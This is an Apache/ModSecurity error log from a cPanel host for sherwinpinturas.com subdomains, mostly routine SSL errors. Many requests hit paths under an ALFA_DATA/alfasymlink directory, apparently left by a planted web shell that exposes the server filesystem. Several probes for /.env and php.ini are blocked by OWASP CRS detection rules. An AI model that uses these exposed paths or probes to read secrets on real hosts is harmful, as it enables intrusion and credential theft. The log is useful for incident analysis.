[Sun Oct 25 21:58:51.730550 2026] [security2:error] [pid 2938951:tid 2938951] [client 107.172.76.131:50159] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6zzt92Xqcd9zT6peEIdwAAADI"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 21:58:51.730605 2026] [security2:error] [pid 2938951:tid 2938951] [client 107.172.76.131:50159] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6zzt92Xqcd9zT6peEIdwAAADI"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 21:59:02.223539 2026] [ssl:error] [pid 2938168:tid 2938168] (70014)End of file found: [client 3.94.156.104:11455] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:59:26.112666 2026] [core:error] [pid 2938959:tid 2938959] (13)Permission denied: [client 185.191.171.2:18618] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/ctor
[Sun Oct 25 21:59:26.140779 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 23.23.99.55:11105] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:59:30.289188 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 52.23.112.144:20411] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:59:42.124017 2026] [ssl:error] [pid 2938959:tid 2938959] (70014)End of file found: [client 3.222.190.107:19319] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:59:44.812440 2026] [core:error] [pid 2938877:tid 2938877] (13)Permission denied: [client 85.208.96.202:29322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS0/xmit_fifo_size
[Sun Oct 25 21:59:50.124257 2026] [ssl:error] [pid 2936921:tid 2936921] (70014)End of file found: [client 52.200.93.170:26351] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:59:50.535576 2026] [core:error] [pid 2936926:tid 2936926] (13)Permission denied: [client 85.208.96.198:48624] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_node/shrink
[Sun Oct 25 21:59:57.317119 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 85.208.96.206:40700] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 21:59:58.584911 2026] [core:error] [pid 2936921:tid 2936921] (13)Permission denied: [client 85.208.96.204:54598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/objects
[Sun Oct 25 22:00:07.037346 2026] [ssl:error] [pid 2938877:tid 2938877] (70014)End of file found: [client 3.220.148.166:36343] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:00:16.981434 2026] [core:error] [pid 2938168:tid 2938168] (13)Permission denied: [client 185.191.171.10:26504] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_trie/store_user
[Sun Oct 25 22:00:18.148554 2026] [ssl:error] [pid 2938959:tid 2938959] (70014)End of file found: [client 18.208.11.93:42060] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:00:30.103152 2026] [core:error] [pid 2930612:tid 2930612] (13)Permission denied: [client 185.191.171.8:34602] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-16/usersize
[Sun Oct 25 22:00:34.138654 2026] [security2:error] [pid 2938959:tid 2938959] [client 34.239.197.197:36567] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/virtio-pci/0000:00:03.0/"] [unique_id "at60QrEILvz2NmB5lgWC8gAAADo"]
[Sun Oct 25 22:00:34.138704 2026] [security2:error] [pid 2938959:tid 2938959] [client 34.239.197.197:36567] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/virtio-pci/0000:00:03.0/"] [unique_id "at60QrEILvz2NmB5lgWC8gAAADo"]
[Sun Oct 25 22:00:38.156009 2026] [ssl:error] [pid 2938952:tid 2938952] (70014)End of file found: [client 100.28.133.214:15987] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:00:46.144107 2026] [ssl:error] [pid 2936921:tid 2936921] (70014)End of file found: [client 44.221.227.90:58476] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:00:58.143023 2026] [ssl:error] [pid 2938951:tid 2938951] (70014)End of file found: [client 34.225.138.57:11000] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:01:14.133863 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 54.80.73.122:49070] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:01:34.113995 2026] [ssl:error] [pid 2936921:tid 2936921] (70014)End of file found: [client 52.200.142.199:52873] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:01:50.121242 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 98.83.94.113:55848] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:01:58.105989 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 3.217.82.254:5501] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:02:06.124180 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 3.220.70.171:41278] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:02:10.118801 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 54.166.126.132:27042] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:02:26.127414 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 52.200.93.170:7266] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/resource0
[Sun Oct 25 22:02:34.094129 2026] [ssl:error] [pid 2941950:tid 2941950] (70014)End of file found: [client 107.23.62.75:11013] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:02:46.118593 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 52.205.222.214:4493] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:02:54.119220 2026] [ssl:error] [pid 2938938:tid 2938938] (70014)End of file found: [client 23.21.204.95:58684] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:02:58.111541 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 34.195.248.30:18652] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:03:02.136627 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 34.233.219.155:8350] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:03:06.280630 2026] [ssl:error] [pid 2941950:tid 2941950] (70014)End of file found: [client 52.5.232.250:30451] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:03:10.120656 2026] [ssl:error] [pid 2938951:tid 2938951] (70014)End of file found: [client 98.83.94.113:27775] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:03:10.120848 2026] [security2:error] [pid 2938951:tid 2938951] [client 98.83.94.113:27775] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory12/node0/memory0/node0/power/runtime_status"] [unique_id "at603t92Xqcd9zT6peEIhAAAADI"]
[Sun Oct 25 22:03:10.120877 2026] [security2:error] [pid 2938951:tid 2938951] [client 98.83.94.113:27775] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory12/node0/memory0/node0/power/runtime_status"] [unique_id "at603t92Xqcd9zT6peEIhAAAADI"]
[Sun Oct 25 22:03:14.130950 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 52.21.62.139:44815] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:03:30.123220 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 54.87.62.248:33363] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:03:43.807881 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 85.208.96.209:33458] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:03:46.123818 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 44.193.102.198:26205] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/ohci-pci/bind
[Sun Oct 25 22:03:50.184195 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 52.200.93.170:45461] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:03:58.115744 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 54.147.80.137:16519] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:04:02.351804 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 3.230.224.6:17787] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:04:06.130508 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 3.212.219.113:54564] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/driver/0000:00:04.0/remove
[Sun Oct 25 22:04:10.105288 2026] [ssl:error] [pid 2938951:tid 2938951] (70014)End of file found: [client 98.82.40.168:1285] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:04:14.148360 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 34.225.87.80:27233] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:04:15.463104 2026] [core:error] [pid 2925278:tid 2925278] (13)Permission denied: [client 185.191.171.12:27606] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_epi/cpu_partial
[Sun Oct 25 22:04:15.463668 2026] [security2:error] [pid 2925278:tid 2925278] [client 185.191.171.12:27606] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_epi/cpu_partial"] [unique_id "at61HxaKu-Zjs56a5J4r7wAAAAo"]
[Sun Oct 25 22:04:15.463699 2026] [security2:error] [pid 2925278:tid 2925278] [client 185.191.171.12:27606] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_epi/cpu_partial"] [unique_id "at61HxaKu-Zjs56a5J4r7wAAAAo"]
[Sun Oct 25 22:04:18.131518 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 52.1.106.130:31214] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:04:24.529422 2026] [authz_core:error] [pid 2925278:tid 2925278] [client 47.79.200.2:25774] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini, referer: https://www.google.com/
[Sun Oct 25 22:04:26.114442 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 184.72.84.154:12743] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:04:30.122860 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 54.87.62.248:5150] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:04:38.236131 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 100.29.63.24:12844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:04:50.023249 2026] [authz_core:error] [pid 2941950:tid 2941950] [client 68.129.70.244:38563] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Sun Oct 25 22:04:50.141226 2026] [ssl:error] [pid 2926323:tid 2926323] (70014)End of file found: [client 52.0.41.164:62741] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:04:50.426853 2026] [authz_core:error] [pid 2930612:tid 2930612] [client 98.54.205.236:45309] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Sun Oct 25 22:04:54.239810 2026] [ssl:error] [pid 2938938:tid 2938938] (70014)End of file found: [client 3.226.106.93:5293] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:05:02.149061 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 23.21.148.226:53200] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:05:11.509015 2026] [security2:error] [pid 2938877:tid 2938877] [client 107.172.76.131:50197] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at61ScnQI7fvFKswuquANQAAABY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 22:05:11.509071 2026] [security2:error] [pid 2938877:tid 2938877] [client 107.172.76.131:50197] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at61ScnQI7fvFKswuquANQAAABY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 22:05:18.171573 2026] [ssl:error] [pid 2936921:tid 2936921] (70014)End of file found: [client 98.82.107.102:48978] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:05:22.195792 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 35.171.117.160:39126] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:05:26.150593 2026] [ssl:error] [pid 2941950:tid 2941950] (5)Input/output error: [client 3.219.81.66:7458] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:05:30.149610 2026] [ssl:error] [pid 2938938:tid 2938938] (70014)End of file found: [client 3.89.170.186:28017] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:05:34.140860 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 50.19.79.213:20182] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:05:34.200517 2026] [core:error] [pid 2936921:tid 2936921] (13)Permission denied: [client 185.191.171.13:49642] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-192/reclaim_account
[Sun Oct 25 22:05:50.136211 2026] [ssl:error] [pid 2925278:tid 2925278] (70014)End of file found: [client 54.89.90.224:45240] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:05:54.142759 2026] [ssl:error] [pid 2936921:tid 2936921] (70014)End of file found: [client 54.84.161.62:46530] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:05:58.149216 2026] [ssl:error] [pid 2936926:tid 2936926] (70014)End of file found: [client 3.224.104.67:60242] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:06:14.138047 2026] [core:error] [pid 2936921:tid 2936921] (13)Permission denied: [client 18.205.91.101:2616] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event1/subsystem/input0/device/subsystem/devices/device:03/physical_node/firmware_node/physical_node/resource0_wc
[Sun Oct 25 22:06:18.113528 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 52.5.242.243:35397] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:06:26.128960 2026] [ssl:error] [pid 2938951:tid 2938951] (70014)End of file found: [client 44.216.172.204:16941] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:06:30.309385 2026] [ssl:error] [pid 2938952:tid 2938952] (70014)End of file found: [client 52.203.68.145:7998] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:06:38.208601 2026] [ssl:error] [pid 2936926:tid 2936926] (70014)End of file found: [client 54.84.147.79:14959] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:06:42.126863 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 3.220.148.166:40456] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:06:46.469240 2026] [core:error] [pid 2926323:tid 2926323] (13)Permission denied: [client 185.191.171.15:64496] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/cpu_partial
[Sun Oct 25 22:06:50.112742 2026] [ssl:error] [pid 2936921:tid 2936921] (70014)End of file found: [client 107.22.208.39:6958] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:06:54.149079 2026] [ssl:error] [pid 2936926:tid 2936926] (22)Invalid argument: [client 3.212.86.97:46585] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:06:57.895865 2026] [core:error] [pid 2938951:tid 2938951] (13)Permission denied: [client 185.191.171.8:28314] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/slabs_cpu_partial
[Sun Oct 25 22:06:58.133081 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 52.203.68.145:57316] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:07:10.128643 2026] [ssl:error] [pid 2936926:tid 2936926] (70014)End of file found: [client 54.144.185.255:38826] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:07:14.222855 2026] [ssl:error] [pid 2938951:tid 2938951] (70014)End of file found: [client 44.193.102.198:40153] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:07:15.910708 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6109YvsK9lv2bQxMABcQAAABA"]
[Sun Oct 25 22:07:15.910955 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6109YvsK9lv2bQxMABcQAAABA"]
[Sun Oct 25 22:07:15.911246 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6109YvsK9lv2bQxMABcQAAABA"]
[Sun Oct 25 22:07:15.912449 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at610zmmX3asvCDITlDxUAAAAAA"]
[Sun Oct 25 22:07:15.912625 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at610zmmX3asvCDITlDxUAAAAAA"]
[Sun Oct 25 22:07:15.912910 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at610zmmX3asvCDITlDxUAAAAAA"]
[Sun Oct 25 22:07:15.989708 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6109YvsK9lv2bQxMABcgAAABA"]
[Sun Oct 25 22:07:15.989996 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6109YvsK9lv2bQxMABcgAAABA"]
[Sun Oct 25 22:07:15.990290 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at6109YvsK9lv2bQxMABcgAAABA"]
[Sun Oct 25 22:07:15.994708 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at610zmmX3asvCDITlDxUQAAAAA"]
[Sun Oct 25 22:07:15.994868 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at610zmmX3asvCDITlDxUQAAAAA"]
[Sun Oct 25 22:07:15.995076 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.148.10.62:58340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at610zmmX3asvCDITlDxUQAAAAA"]
[Sun Oct 25 22:07:16.357128 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at611NYvsK9lv2bQxMABdgAAABA"]
[Sun Oct 25 22:07:16.357371 2026] [security2:error] [pid 2934778:tid 2934778] [client 45.148.10.62:58346] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at611NYvsK9lv2bQxMABdgAAABA"]
